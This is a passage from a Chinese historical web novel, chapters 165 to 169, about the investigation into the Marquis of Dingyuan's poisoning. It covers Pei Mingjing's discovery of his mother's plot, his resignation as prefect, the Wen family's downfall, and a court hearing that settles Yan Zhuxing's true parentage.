她是绝对不会让晏氏一族的人将她赶走的。 若是真让他们把克夫的罪名扣到她头上,一荣俱荣一损俱损,以后骆家的姑娘还怎么嫁人。 “你放心,林管家会帮你的。”晏逐星轻轻拍了拍她的手背。 有她这句话,骆文缨信心大增。 “鸣柳、含烟、锦书、晚秋。” 她将自己的四大丫鬟叫了过来。 “我要这侯府上上下下,都老实听话。该怎么做,你们知道的吧?” “知道。”四个丫鬟异口同声地回答。 她们会好好以理服人,若侯府的下人不讲道理,她们也略懂一些拳脚。 “走吧。”骆文缨连嫁衣都没换,直接将盖头扔到了地上,领着丫鬟们去了前厅。 林管家把侯府所有的下人都叫了过来,让他们老实拜见主母。 族长气了个半死。 他怒目圆瞪,看向林管家:“她才刚进门,都没洞房,算什么侯府主母。我是侯爷的叔叔,又是晏氏一族的族长,这府中发生了这样大的事情,理当让我来主持大局。” 骆文缨冷声道:“三媒六聘,天地为证,众宾见证,我与侯爷礼已成。侯府主母之位,名正言顺!” “再者,你的夫人谋害了侯爷,你如今又急着越过我这明媒正娶的未亡人来主持侯府的大局,你究竟是好心还是狼子野心,想必众人自有分辨。” 族长气了个半死,脱口而出:“关我夫人什么事。你这个丧门星,你若不嫁过来,侯爷又怎么会死?!” “族长有什么冤屈,还是到裴大人面前去分说吧。”晏逐星懒得废话,直接让侯府小厮将他“请”走了。 晏逐星冷冷扫了在场所有的下人一眼。 “若让我再听到谁说新夫人是丧门星,全都拔了舌头逐出府去。” 一句话让下人们将脑袋垂得更凶了。 他们都知道,侯府除了侯爷,就属大小姐最厉害,她的话若是不听,那可是要倒大霉的。 “林管家,劳烦你把侯府的事情和表姑说一遍了。”晏逐星温和地看向了一旁的林平。 林管家弓着腰,毕恭毕敬地点了点头,而后看向了骆文缨:“小的林平,见过夫人。” “嗯。辛苦林管家给我讲讲府中的情况了。”骆文缨微微颔首,命丫鬟给他塞了一个荷包。 沉甸甸的。 林管家一掂量就知道里边至少塞了五两银子。 他一颗心顿时热络了起来,先前倒戈晏逐星,背叛侯爷的愧疚顿时消失得一干二净。 有大小姐和当家主母作保,他林家日后的前程好着呢! “多谢夫人赏。小的一定知无不言言无不尽。” 林管家领着下人们挨个给骆文缨磕头。 晏逐星退下,去见了裴明镜。 裴明镜瞧见她,下意识地先看了看她的胳膊。 也不知道上回上元节烫伤,是否留了疤。 “裴大人,可查清楚是谁要害我父亲了么?”晏逐星开口询问。 “温家三老爷已经被请到京兆府了,他否认了让侯府姨娘给侯爷下毒一事。”裴明镜将如今查出的情况告诉了她。 “本官已经询问清楚,案发时,林姨娘在京兆府,柳姨娘陪着阮姨娘打叶子牌,而你,去了玉澜院。” “是。”晏逐星点了点头。 “汪氏告诉我,说有关我亲生爹娘的事情要和我说,我就去了。” 晏逐星面不改色地撒谎。 “我去到之后,她竟然想纵火烧死我。好在我的丫鬟及时寻来,不然我就要葬身于火海了。” “根据本官调查,汪氏还给侯爷下了药。”裴明镜继续低头看着手中的证词询问。 “这药,与侯爷所中之毒如出一辙。” “我真没想到,她恨我也就罢了,怎么还恨上了父亲。”晏逐星低头用帕子擦了擦不存在的眼泪。 裴明镜也觉得此事十分可疑。 汪氏怎么会下毒害死定远侯呢,她可是他的亲婶婶。 “据我们的人搜查,汪氏的屋子里多出了一百两银子。或许她是受了人指使。”裴明镜说到这,顿了顿。 莫非温家害怕两个姨娘会失败,所以还收买了第三人汪氏? 不仅如此,还请了杀手来杀人灭口? 裴明镜脑海里涌出万千思绪。 他收回念头,宽慰道:“至于是谁,京兆府会继续调查。以及院子里多出来的尸首,我们也会继续调查他们的身份。大小姐且宽心。本官一定会将真凶找出来,还侯爷一个公道。” 他话音刚落,就看到郑晗脸色尴尬地走了过来。 “大人,查出来了。与汪氏接触,给了她银两的,是卫国公府下人。” 第165章 动心不自知 裴明镜一瞬间怀疑自己是不是最近查案太拼命,没睡够所以产生了幻觉。 他们家为什么会和毒杀定远侯一案扯上关系? “你说什么?” 他不可置信地开口。 郑晗硬着头皮回答:“根据汪氏侄女汪慧心的供述,接触汪氏的仆妇出自您府上……” 天老爷啊,这还怎么查。 查来查去,杀人凶手竟然出自顶头上司府上。 裴明镜第一反应是看向晏逐星:“此事我不知情。” 晏逐星眼里流露出一丝伤心:“我相信大人不会做这样的事情,但令堂对我一直颇有微词……” 裴明镜脸色变得更难看了。 他声音有些艰涩:“是,但何至于此……此事定然有什么误会。” 说完,他看向郑晗。 “接触汪氏的是何人?将他带到京兆府,本官亲自询问。” 郑晗弱弱道:“按大虞律令来说,大人您得回避。” 裴明镜一愣。 他家里有人涉案,他自然不能再参与调查。 裴明镜默了一瞬,片刻后方才开口:“此事移交大理寺,我不会再参与。” 他看了一眼晏逐星,张口想要说什么,但最后还是什么也没说。 他离开后,晏逐星松了一口气。 裴明镜为人聪明又执着,若真让他一直查下去,难保不会查出别的东西来。 如今这样,刚刚好。 * 裴明镜带着满腹疑惑和怒气回了卫国公府,他直奔母亲的院子。 “母亲,定远侯之死,是否与你有关?”他冷声询问。 窦淑容被他这一问,吓得心脏差点从喉咙里跳了出来。 儿子来得也太快了,难不成他知道什么了? “你瞎说什么呢,我与定远侯毫无交集,他的死和我能有什么关系。”窦淑容果断否认。 “可京兆府已经调查出来了,咱们府上的下人和汪氏有勾结,还给了她药,让她下到定远侯的醒酒汤里。”裴明镜直直地盯着母亲。 窦淑容被他看得一阵心虚,嚷嚷得更加大声了。 “什么汪氏,我根本就不认识。” “府上的下人是谁,你让人找出来,我一定要狠狠收拾他。” 一旁的容氏脸色早已煞白。 她紧紧将身体支撑在窦淑容的椅背上,才没有摔倒。 此事是她交由儿媳妇去办的,如今儿媳已经回了娘家,应该查不到什么吧。 裴明镜看向了脸色惨白的容氏。 容氏是母亲身边最得力的心腹,母亲任何事都不会瞒着她。 看她这表情,显然是知道点什么。 裴明镜对母亲失望透顶。 他决定最后给母亲一个机会。 他一字一句道:“您不知道,您身边的人也不知道吗?若是等到大理寺上门拿人,那国公府的体面可就全没了。” “你这是在怀疑我?”窦淑容坚决不承认,开始哭天喊地了起来。 “国公爷啊,你来带我走吧,辛辛苦苦养大的孩儿竟然怀疑我,我不想活了。” 说着她就要去撞柱。 容氏赶忙扑过去拦住她:“夫人您别这样,您可得保重身体啊。” 裴明镜看着母亲哭闹,心里已经没有了波澜。 从小到大,母亲这一招用了无数次。 他已经看厌了。 他给身后的护卫使了个眼神。 “拿下。” 护卫当即上前,直接将容氏按倒在地。 这一变故,惹得窦淑容都停止了假哭。 “明镜,你这是何意?” “既然母亲不知情,想必就是被恶奴蒙蔽了。容氏,你若不说实话,那今日我便将你杖毙于院中,让他们知道欺主的下场。”裴明镜语气淡漠。 “明镜!”窦淑容失声惊呼,难以置信地看着儿子那张变得陌生的冷峻面孔。 “容妈妈无辜,你莫要冲动!” “世子饶命!老奴当真不知啊!”容氏吓得魂飞魄散,疯狂给他磕头。 场面顿时乱做了一团。 裴明镜却毫不留情,直接命人取来了刑仗。 容氏吓得脸色煞白。 这么粗的棍子打下去,怕是不用十杖,她就要去地府见阎王了。 “世子饶命世子饶命,老奴当真不知情啊。”她还是不肯吐口。 催情药不是什么光彩的东西,传出去夫人也不用做人了。 这个时候,她依旧抱着一丝侥幸。 儿媳妇已经离开京城,或许查不出来呢。 “动手。”裴明镜冷冷地吐出两个字。 护卫毫不留情,直接将刑杖重重地砸在了容氏的腰臀处。 “啊——” 容氏发出了凄厉的惨叫,她两眼一翻,差点晕死过去。 窦淑容快疯了。 她是绝对不可能承认自己做了那样的事情。 但容妈妈陪了她半辈子,是她最亲近的人,她怎么能眼睁睁看着她去死呢。 “住手,我让你们住手!”窦淑容尖叫了起来。 但行刑之人并未停下,他们只听裴明镜的。 窦淑容见容妈妈被打得几乎要没气了,最终一咬牙,含泪道:“我是命人去定远侯府下药了,但不是给定远侯下的药!你别打了!” 听到这话,在场的人都变了脸色。 “你若再打,那便将我的命也拿去吧。”窦淑容这下是真哭出来了。 裴明镜抬手,行刑的人停手。 容氏用尽全力想要爬向窦淑容,但却没有力气,她只得用微弱的声音劝阻道:“夫人什么都不知道,都是老奴擅作主张……” 窦淑容听到这话哭得更厉害了。 她快步走到容氏身边,命人去请大夫,把一切都交代了出来。 说到最后,她恨恨道:“我讨厌晏逐星那个狐狸精,我想给她一些教训。她若能嫁给别人,就不会勾引你了。” 听到母亲这话,裴明镜脸上浮出一阵错愕。 他没想到母亲竟是这样的人。 清白对于女子有多重要,同为女子,她难道不知么? 她怎能用这样下作的手段害人。 他更没想到,事情竟然是因他而起。 裴明镜深吸一口气,将愤怒压下,方才开口:“我说过很多次,我与她并无男女私情,母亲为何不信?” “你若对她无意,又怎会对她的事那样关心?” “你若对她无心,又怎会处处维护她?” “你若真的身正不怕影子邪,为何上元佳节不愿邀请福安郡主出门赏灯?” 窦淑容厉声质问。 裴明镜被她问得无话可说。 他闭上眼,晏逐星的身影便清晰浮现。 初遇时,她一身素衣跪在公堂之上,身形伶仃,仰起的小脸满是惶然无助,哀声求他做主。 那一刻,他生了恻隐之心。 后来知道她欺骗他、利用他,他头一回被人骗,气得要命,因而打心底里厌恶她,用最大的偏见揣测她。 可奇怪的是,他总忍不住把目光落在她身上,比从前更在意她的一举一动。 再后来,他才看明白,她不是世俗意义上那种规规矩矩的“好姑娘”。 她活得恣意,快意恩仇,笑骂由心,世人的眼光在她身上留不下半分痕迹。 偌大的京城里,他寻不到半分与她相似的姑娘。 这样的她,很好很好。 好得让他挑不出错处,好到他动心了都不自知。 “裴明镜,你说话啊。你敢说你当真没有对她动过半分心意吗?” 窦淑容见他不说话,几欲吐血,质问声愈发大了。 第166章 这辈子不娶 “是,我问心有愧,所以无法回答母亲的问题。” 裴明镜睁开了眼,定定地看着母亲。 窦淑容如遭雷击。 虽然早就猜到了儿子的心意,但真的从他口中得到确定的答案,她反倒慌乱了起来。 裴明镜俯身,视线与母亲平齐,声音沉而笃定:“母亲不必忧心,这辈子我都不会娶她了。” “为什么?”窦淑容下意识地问出了声。 裴明镜垂眸,再抬眼时眸中那点光亮已然熄灭。 他扯了扯嘴角,像是想笑,但却笑不出来,只余一片苦涩。 他的声音轻得像叹息: “我的母亲对她做了那样的事情,我避开她都来不及,哪里还有脸面求娶呢。” 窦淑容脸色瞬间变得一会儿青一会儿白。 她颤抖着嘴唇开口:“你是在怨我?” “不行吗?”裴明镜反问。 窦淑容瘫倒在地。 她意识到,这一次儿子不会再像从前那样原谅她了。 她的内心升起了巨大的恐慌。 “明镜,母亲知道错了,你不要生气,不要怨我好不好?我再也不会做这样的事情了。母亲只是一时糊涂啊。” 她扑过去,扯住了裴明镜的衣袖,眼泪扑簌簌地往下落。 裴明镜沉默一瞬,缓慢却坚定地掰开了她的手指。 他的声音沉静无波,带着不容违逆的决断: “母亲既已知错,诚心向善,儿子岂能不遂您心意?自今日起,请母亲移居佛堂静室,于菩萨座前诚心祈福。” 他视线沉沉落在一旁的管家身上,声音变得愈发冷肃: “即日起,母亲要清修不宜见外客,更不宜劳神府中庶务。母亲静修期间,国公府一应用度由二婶安排。母亲面前,只可谈经论佛,侍奉起居,其余闲杂事务一概不得惊扰母亲清修。你可明白?” “小的明白。”管家意识到了世子爷的坚决,颤颤巍巍点头。 “不,我才是国公府的夫人,凭什么让她管理国公府。”窦淑容尖叫了起来。 裴明镜冷冷地看向她:“母亲,您是想要容妈妈活,还是想要容妈妈死?” 一句话让窦淑容噤了声。 她含泪看着地上的容氏,又恨恨地看了裴明镜一眼。 “我真是生了个好儿子啊!!!” 裴明镜不语,只是命人收拾她的东西将她送去了佛堂。 裴二夫人被叫来,得知今后国公府由她当家,吓了一跳。 “这不妥吧?”她感觉那管家对牌有些烫手,不敢接。 裴明镜淡淡道:“没有什么不妥的。等到我娶了夫人,二婶再将庶务交还她打理便好。” 大房的事情,裴二夫人并不知晓,她小心翼翼地问道:“那大嫂呢?” “母亲要给父亲和祖父祖母祈福,让他们在天之灵保佑我早日娶妻生子,所以这些事情就只能辛苦二婶了。”裴明镜的语气看不出任何问题。 裴二夫人知晓其中定然有她不知道的隐情,但她识趣地没有继续问下去。 “既是如此,那我便暂时代管了。” 至此,卫国公府重新恢复了平静。 * 很快,大理寺卿就去到定远侯府,从京兆府的官差手上接过了此案。 有了柳姨娘和林姨娘的证词,以及她们手中的毒药,还有他们被胁迫的娘家人,大理寺卿将温家三老爷温如珲捉拿入狱。 汪氏受人收买、给定远侯下药一事铁证如山,大理寺卿当即遣人前往卫国公府拿人。 官差刚到卫国公府大门,就撞见裴明镜负手而立。 两名仆人押着一个被五花大绑、面如死灰的老嬷嬷跟在他身后。 不等大理寺的人询问,裴明镜就先开口: “此人因记恨定远侯大小姐曾令家母难堪,怀恨在心,勾结汪氏行给定远侯大小姐下药。家母不过是气头上斥责过她几句,她便胆敢借刀杀人,其心可诛。” “但定远侯身故,确实与国公府无关,毕竟定远侯素来与我们无冤无仇。” 大理寺领头的官员眼皮一跳,脸上堆起尴尬的笑,连忙拱手: “原来竟是这刁奴作祟!裴大人明察秋毫,卑职佩服。那……这人犯,卑职就先带回去复命了?” 他语气里带着小心翼翼的试探。 空气静了一瞬。 谁都知道这嬷嬷多半是顶罪的羔羊,真正的幕后主使恐怕是卫国公府的主子们。 裴明镜面无表情,微微颔首:“嗯。有劳。” 再无多言,亦无阻拦。 看着官差将人拖走,他转身回了府里。 * 大理寺卿看着人证物证,只觉得一阵头疼。 定远侯之死竟然牵扯了那么多权贵。 温家与定远侯本就有仇,他们对定远侯动手他还能理解。 但卫国公府又是为什么? 还有那四具多出来的男尸,到底是哪家人派出来的? 定远侯到底做了多少孽,那么多人要杀他? 大理寺卿只觉得一个头两个大。 定远侯中毒身亡,不可能不给一个交代。 毕竟他和烈国公府可是姻亲。 难,怎么那么难。 大理寺卿抓了抓官帽之下所剩无几的头发,欲哭无泪。 事情移交到大理寺不过一个时辰的功夫,朝华大长公主就已经知道了定远侯身亡的全过程。 朝华大长公主:“……” 她没想到竟然有那么多人跟她选在了同一天下手。 虽然他们的目标不是晏逐星,而是定远侯。 “这贱人真是命大。”朝华大长公主眯着眼眸,冷冷开口。 驸马怕她冲动行事,赶忙道:“朝华,暂时不能再动她了。留得青山在不愁没柴烧,她迟早要死的。” 朝华大长公主磨了磨后槽牙,最后还是决定听从驸马的建议,再忍上一段时间。 定远侯之死,令朝野上下为之震惊。 但还没寻到真凶,翌日另一桩让他们震惊的事情又发生了。 第167章 又死一个人 裴明镜竟然要辞官! 金銮殿内,裴明镜跪在地上,面色苍白但身姿依旧挺拔如松。 龙椅上的文昭帝听完他的请辞,语气里带着一丝探究与不可置信:“嗯?裴爱卿先前说的是……辞去京兆尹之职?” “是。皇上。”裴明镜叩首,声音有些发闷。 “为何?” 文昭帝问出了满朝文武的心声。 裴明镜一字一句道: “京兆尹掌京中治安刑名,首重公正严明,臣自身德行有亏,家门不清,如何还能身居此位。臣问心有愧。立于朝堂之上,便觉芒刺在背,无颜面对皇上的信任。” “臣今日所言,字字出自肺腑。恳请皇上准臣辞去京兆尹一职。” 他身为京兆尹,为了国公府的名声包庇回护了母亲,没能秉公处置只让一个下人去顶罪。 他已经不配再坐在这个位置上。 在场的都是人精,结合昨日大理寺去卫国公府拿人一事,心底都有了隐约的猜测。 定远侯之死虽然与卫国公府没有直接关联,但肯定也跑不脱关系,不然裴明镜又怎么会辞官。 文昭帝看着裴明镜,心下有些惋惜。 平心而论,裴明镜是个很好用的臣子。 他虽然年纪轻轻,但确实颇有能力和手段,只可惜有个拎不清的母亲。 “爱卿何至于此,一个失察之过,哪里用得着你辞官谢罪。”文昭帝挽留。 “皇上天恩浩荡,臣肝脑涂地难报万一。犯事之人虽只是国公府奴仆,但却受国公府恩养多年,她犯下这般恶行,臣虽未指使,但一切皆因臣治家不严、驭下无方而起。” “臣有愧。” “愧对皇上的圣恩,愧对列祖列宗的清誉,愧对身上的官袍。” 说到这,裴明镜缓缓摘下了头上的官帽,又将腰间的金印给解下,他冲龙椅上的文昭帝行了一个五体投地的大礼。 自摘官帽,自解印绶。 在场所有人都明白,他去意已决。 文昭帝在心底叹了一口气,最终点了点头,吐出了两个字。 “准奏。” * 裴明镜辞官一事也传到了晏逐星耳朵里。 她一愣,随即更确定了让汪氏给她下药的人就是窦淑荣。 如果只是一个下人,裴明镜不会辞官。 唯有是他的亲生母亲犯了错,而他为了国公府的名誉掩盖了这件事。 按照他的性子,他定然悔愧难当、无地自容,所以才会辞去京兆尹一职。 “可惜了,也不知道日后的京兆尹会不会是裴大人这样的好官。”双鲤惋惜地叹了一口气。 京中的百姓得知裴明镜辞官,受过他恩惠的百姓自发往国公府后门送了不少吃食。 有一小筐子鸡蛋,有三五个梨,还有几捆干柴,类似的东西数不胜数。 虽然不值钱,但满满的都是心意。 送来的东西越来越多,国公府的下人婉拒推辞,但百姓们却不听,把东西一扔就跑了。 “当年我爹被构陷杀害邻家孩童,若不是裴大人明察秋毫找出真凶,我爹如今还在狱中呢。这几个梨,自家种的,不值钱,还请大人收下。” “当初我娘刚入京撞碎了人家的瓷瓶,被讹了十两银子,是裴大人发现那人故意做局坑害的我娘,瓷瓶早就碎了,他是个老惯犯。不知道讹诈了多少初入京城的人。替我娘把银子要了回来。我这点鸡蛋算不得什么。” …… 裴明镜听完下人的汇报,沉默了许久。 “让他们不要再送了,心意我领了。将这些吃食煮了吧,再从我的私账上拨五百两银子去城外搭棚施粥。” “是。”管家应下。 大理寺卿得知裴明镜辞官,知晓定远侯一事不能再和卫国公府扯上关系了。 那么就只剩温家了。 工部尚书温如璋也不好得罪,如今证据都指向了温家,要不就定温如珲的罪? 大理寺卿盯着温如珲的名字思索了起来。 毒药的出处有了,可那四具男尸却一无所获。 众人便猜测是温家怕下毒一计失败,又找了四个杀人补刀。 但他们为何会死在玉澜院,而不是定远侯的院子。 处处都是疑惑。 国公府那边还一直催他们捉拿真凶,大理寺卿头疼欲裂,他到底该怎么交代,才能平衡几方的关系。 就在他发愁之际,衙役匆匆赶来,面色惊惶:“大人,不好了,温如珲留下血书后自缢了。” “什么?”大理寺卿惊得从椅子上蹦了起来。 这个节骨眼,再死一个人,那这案件可就没法查了。 他赶忙去了牢里,瞧见了半死不活的温如珲。 他用指尖的血在中衣上写下了陈情书,大理寺卿匆匆扫了一眼,大概的意思就是他们温家和定远侯有仇,所以有人利用这一点勾结定远侯两位姨娘,诬陷了温家。 他愿以死明志,证明温家清白。 大理寺卿揪着牢头的衣领,大怒道:“这两日可有人来见过他?” “温尚书命管家来过一趟。”牢头欲哭无泪。 温如珲还没定罪,他就还是尚书府的三老爷,尚书府要见人,他们哪敢阻拦啊。 更何况他们也检查过了带来的东西,还亲自盯着管家和温如珲聊天,没发现什么异常啊。 牢头将两人的对话复述了一遍。 “三老爷放心,大老爷不会让人污蔑您的清白,一定会将您救出去的。您坚持住啊。” “您与姑奶奶感情深厚,她在九泉之下定然也不想您出事。您且宽心,小少爷和小小姐都会有人照顾的。咱们全家都等着您出去呢。” 学完管家的话,他又学着温如珲怒目圆瞪的表情。 “告诉大哥,我知道,我没做过的事情我一定不会认的。日后见到如霜,她一定也会为我这个兄长感到骄傲。” “昭儿和婉儿,就拜托大哥了。” 大理寺卿听完咬牙切齿。 这就是赤裸裸的威胁和托孤啊! 看到昨夜温如珲就已经存了死志,不打算让此事牵扯到温家。 毕竟谋害一位侯爷可是重罪,他们是绝对不会承认的。 “大人,接下来这案子该怎么查啊……”下属小心翼翼地询问。 第168章 不是亲爹娘 “你问我,我问谁啊!”大理寺卿怒骂。 他感觉他所剩无几的头发这下怕是要全没了。 要是他也有裴明镜那样的家世,他也辞官了。 可他没有。 大理寺卿愤愤地想:下辈子他一定要投个好胎。 案情陷入了焦灼的状态。 大理寺卿查不出来,只得将情况如实呈报给了皇上。 文昭帝没想到短短半年的时间,定远侯这一家子竟然全死了,倒也是凄惨。 不给一个交代也说不过去。 “该怎么查就怎么查,勿要徇私枉法。” 有了皇上这句话,大理寺卿心下稍定。 皇上的意思应该是不会保温家了。 他继续去查,温家的下人却已经反口,都说没有被威胁,是两位姨娘想多了,他们在温家过得很好,说不定是两位姨娘收了别人的银子所以故意污蔑温家。 林姨娘和柳姨娘再一次被传唤。 得知家里人改口,柳姨娘倒是不意外,但林姨娘大受打击,回了侯府后就病倒了。 “这下你知道了吧,你把他们当家里人,他们可没把你当一家人。嫁出去的女儿泼出去的水。在他们眼里,我们早就是侯府的人了。”柳姨娘去探望她时,到底还是没忍住把这些话说了出来。 林姨娘虚弱地点了点头,眼泪顺着眼角滑落:“嗯,没有以后了。” 见她被打击得蔫巴巴的,柳姨娘安慰道:“若不是大小姐,这回咱们就成了替罪羔羊,如今还能活着,已经很好了。” “这倒也是。”她这么一说,林姨娘感觉好受多了。 起码他们还活着,以后也不用担心性命之忧了。 毕竟大小姐和新来的主母都承诺过了,只要他们安分守己,不要动什么歪心思,会让他们在侯府养一辈子的老。 温家下人虽然翻供,但温家采买毒药的事情却还是被大理寺查得清清楚楚。 况且温家有强烈的杀人动机,大理寺调查了足足半个月,最后这个案子以温如珲畏罪自杀收了尾。 尽管温如璋坚称自己毫不知情,但还是被连累被贬官,成了大虞史上任期时间最短的工部尚书。 他被贬到了漳浦县当一个七品县令。 从京城的工部尚书到偏远山区县令,可谓是从云端跌到了泥潭。 温如璋不能反抗,只能叩谢圣恩。 温家大夫人姜清屏得知此事,恨不得去将温如霜挖出来挫骨扬灰。 为了一个死人,竟然搭上了夫君的前程和小叔子的性命。 温家一行人狼狈离京。 晏逐星在心底默默松了一口气。 定远侯死了,温如珲一死,温家定会把这笔债记到她头上。 如今他们离开了京城,对她来说再好不过了。 朝华大长公主眼看着对定远侯府动手的人都倒了霉,气得咬牙切齿。 怎么谁沾上晏逐星都没好下场。 她忍了那么久,晏逐星竟然还没死,气得她日日在公主府里发脾气,府里的瓷器花瓶不知道打碎了多少件。 驸马看着心疼,于是给她出了个主意。 “暂时不动晏逐星,但不代表不能动她家里人。要不,从她生身父母那边入手,如何?” 朝华大长公主被他一提醒,这才想起了关万海夫妇。 是啊,晏逐星有国公府和永安王护着又如何。 她的亲爹娘不过是一对商贾贱民,她抬手就能捏死。 她也要晏逐星尝尝失去至亲的滋味。 她当即下令让人前往通州,灭掉关家满门。 不曾想,王府管事却匆匆来报:“殿下,驸马,晏家那位姑娘又去京兆府了。她求京兆尹替她寻找亲生父母。” “什么意思?”朝华大长公主一愣。 晏逐星的亲生爹娘不是卖布匹的商人么? “定远侯新主母整理遗物时,发现了定远侯留下的密信。原来当初找来的关家夫妇并非晏逐星的生身父母。定远侯骗了晏逐星,也骗了关家人。” “他想把晏逐星赶出侯府,又怕旁人说他冷血,因而打听到关家夫妇一直在寻找女儿,便将错就错,诱导他们来京城寻亲。” 王府管事一口气把事情全都说了出来。 “如今关家夫妇正在京兆府跟大小姐进行滴血认亲呢,两边的血,根本对不上!” “而且,裴世子也找到了关家夫妇的亲生女儿下落,他们的女儿当初走丢没多久后,被一个屠夫收养了。如今也已经入京认亲了。” * 京兆府。 晏逐星与关万海夫妇一同站在公堂之上。 定远侯死后,晏逐星便打算找个合适的时间公开她与关家人并非血脉亲缘关系之事。 在她斟酌着用什么借口的时候,裴明镜让裴芜给她递了口信。 关万海的亲生女儿找到了。 她若需要,他便派人快马加鞭将他们接入京城。 晏逐星觉得这就是一个很好的机会,便拜托了裴明镜接人入京。 她能感觉到裴明镜在躲着她。 他母亲下药害她,虽然没成功,但他依旧有愧于她。 晏逐星想他帮她这一回,这就当是补偿了,以后他们两不相欠。 关万海他们找到亲生女儿,认错她只是一个误会,这件事被发现,还需要一个契机。 她找上了骆文缨,让她发现定远侯留下的“密信”帮忙揭穿此事。 林管家身为定远侯生前的心腹,他也站出来作证定远侯当初就是故意找上的关万海夫妇,为的就是将晏逐星赶出侯府,又不落人口舌。 只是没想到,温如霜的心腹嬷嬷竟然说出了惊天秘密,晏逐星是被温如霜拐带回来的。 人证物证都有了。 与此同时,晏逐星与关万海夫妇也对好了口供。 这才有了今日京兆府认亲的场景。 今日裴明镜没有出现,他只让心腹把关家原本的女儿关星,如今改名叫宁心心的那位小姑娘送了过来。 宁心心站在公堂之上,十分紧张。 她下意识地看向了公堂之外,她的养父母和兄长。 宁家人都鼓励地看着她,让她别害怕。 “你对走丢前的事情,可还有印象?”新任京兆尹梁江御看向了宁心心。 关万海夫妇看到突然冒出来的亲生女儿,没有惊喜更多的是害怕。 他们当初为了求儿子,故意将女儿给扔掉,她不会还记得当初的事情吧? 她会不会怨他们? 他们紧张地盯着宁心心,想知道她会怎么回答。 宁心心摇了摇头:“回大人,我,哦不,民女不太记得了。” “民女只记得有三个姐姐,对我都很好。” “然后阿爹经常往外跑,别的就不记得了。” 听到她这么说,关万海夫妇松了一口气,有些羞愧地低下了脑袋,不敢再看他。 梁江御又传了宁心心养父母来问话,核对了一下当年宁心心走丢的事情,发现和关万海夫妇说的一致。 再看看与关万海夫妇有七分相像的宁心心,以及前任京兆尹裴明镜提供的证据。 他可以确定了,关万海夫妇与晏逐星毫无关系,宁心心才是他们的亲生女儿。 梁江御心知肚明,定远侯故意诱导晏逐星和关万海夫妇相认绝对不像他们说的那么简单,只是为了把晏逐星赶出家门。 但他不想深究,定远侯已死,温家又已经失势,此事刨根问底只会徒增他的烦忧。 到此为止就好。 于是他重重一拍惊堂木,当场宣布了结果: “肃静!本府经详查案卷、当堂质证,并依仵作滴血验亲之法为凭,现已查明: 晏逐星与关万海夫妇,血脉不契,非属至亲。宁心心方为关万海夫妇离散多年之骨血至亲。 此案因过往阴差阳错而起,现今真相大白,血缘已明。着户房依此判结果,更注户籍,以正名分。 退堂!” 围观的百姓们听完判决,心满意足地离开了。 有这位晏姑娘在,京城的热闹就少不了。 谁能想到她的身世竟然这么一波三折呢。 先是被侯夫人拐带,又被侯爷欺骗错认亲生父母,如今真正的爹娘还不知道身在何方。 惨~~~呐~~~ 第169章 说到做到了 听到京兆尹这般判决,宁心心顿时急了。 她赶忙拦住了送她来的子平。 “裴大人不是说不会改我的户籍么,我继续在青州跟阿爹阿娘生活,继续当宁家的女儿。” 听到她这么说,关万海夫妇皱起了眉头。 他们虽然丢了女儿,但听到女儿不认他们,还是有些不是滋味。 宁家夫妇看到他们这表情,扯了女儿一下。 宁大勇沉声道:“心心,别说傻话,他们也是你爹娘。” 周氏也跟着点头:“就是,你就算换了户口,也是咱家的孩子,我和你爹永远把你当亲女儿。” 而后又看向关万海夫妇,露出笑脸。 “这孩子只是一时间接受不了罢了,您二位莫要误会了。” 他们家在镇上当屠户,虽然能让孩子吃饱穿暖,但也只是勉强糊口罢了。 听闻关家做了许多年生意,家境殷实,心心若跟着他们回去,日后便是锦衣玉食的千金小姐,再不也用干那些割猪草喂猪洗衣裳的活。 纵然有千般万般舍不得,但他们也不愿让孩子留下跟他们吃苦受穷。 宁心心的三哥宁家好欲言又止,他舍不得妹妹。 但关家的条件确实比他们好得多,他不能阻拦妹妹过更好的生活。 “我不,我不要回去,我就要跟爹娘在一起。”宁心心当场就哭了。 虽然宁家不是很富有,但他们全都真心实意地疼爱她。 当初她被捡回去的时候,只记得自己叫星儿,但也不知道哪个星。 养父母就干脆给她取名叫心心。 告诉她,她是他们心心念念得来的女儿,他们会疼爱她一辈子。 他们真的说到做到了。 即便她不是宁家亲生的,但养父养母和三位兄长都对她很好,几乎不让她干家中的那些粗活。 都是她主动要去帮忙的。 她没办法看着爹娘哥哥们受苦,而她自己一个人享福。 关万海夫妇顿时很尴尬,不知道该说什么,下意识地就看向了晏逐星。 “大小姐,您看这……”关万海搓着手,等她拿个主意。 晏逐星笑着看向了宁心心:“你放心,既然裴大人答应你不用改户籍,那你就不需要去改。” “小姐此言当真?”宁心心止住眼泪,半信半疑看向了她。 “嗯,裴大人向来说话算话,你放心吧。”晏逐星出言安慰。 “反正回青州也要路过通州,你不是说你的三个姐姐对你很好么,你难道不想回去看看她们?” 听到这话,宁心心这才松动了。 她看向陌生的关万海夫妇,小声道:“我可以不回去,但是见姐姐们吗?” “可以,怎么不可以!”关万海连忙答应。 晏逐星提醒:“宁家替你们养了那么多年女儿,没有功劳也有苦劳,你们做亲爹娘的……” 关万海赶忙从兜里掏出五十两银票塞到宁大勇手里:“宁兄弟,这些年辛苦你们了。” 宁家人一看这么多钱,连忙摇头。 他们收养宁心心,可不是为了钱。 “不不不,使不得……”宁大勇和周氏急忙推拒。 “使得使得,你们快收下吧。就当是我们给孩子的陪嫁了。”关万海用力将银票塞到了他手里,不肯再要回来。 “行吧。”听到他这么说,宁大勇夫妇总算改了主意,收下了银票。 关万海和宁大勇约好明日一块回通州,而后便跟着晏逐星去了晏宅。 “大小姐,您要找的人找到了。”关万海面露喜色。 “哦?那你们说服陈三妹了吗?”晏逐星询问。 “自然说服了。您说的那个流光缎,我们也已经在实验了。”关万海老老实实把情况汇报了出来。 “多久可以染出第一匹完好的布?”晏逐星又问。 关万海估摸了个数,谨慎开口:“最快也得半个月吧。” 晏逐星在心底数了一下日子,发现上巳节是来不及了,染出来之后还得从岭南运回来,然后请京城名家做衣裳,她得另找一个合适的时机将流光缎推出来。 “好。做好之后,第一时间送到我这来,此事能不能成,就看你们够不够快了。”晏逐星低声吩咐。 “大小姐放心,小人一定不会辜负您的期盼!”关万海当即举手发誓。 虽然晏逐星已经不是侯府大小姐,但关万海还是习惯性地这么称呼她。 送走了关万海,晏逐星坐在屋内望着窗外的院墙发呆。 宁心心找到了亲生父母,那她呢,她什么时候才能找到自己的爹娘兄长? 她为什么就是什么都记不起来呢。 晏逐星心中腾起一股躁意,她起身去了器室,她要练枪了。 烦躁的时候练武,能让她的心静下来。 刚把长枪拿出来,就看到了院子里多了一个人。 “王爷,您怎么来了?”晏逐星已经习惯了他的忽然出现。 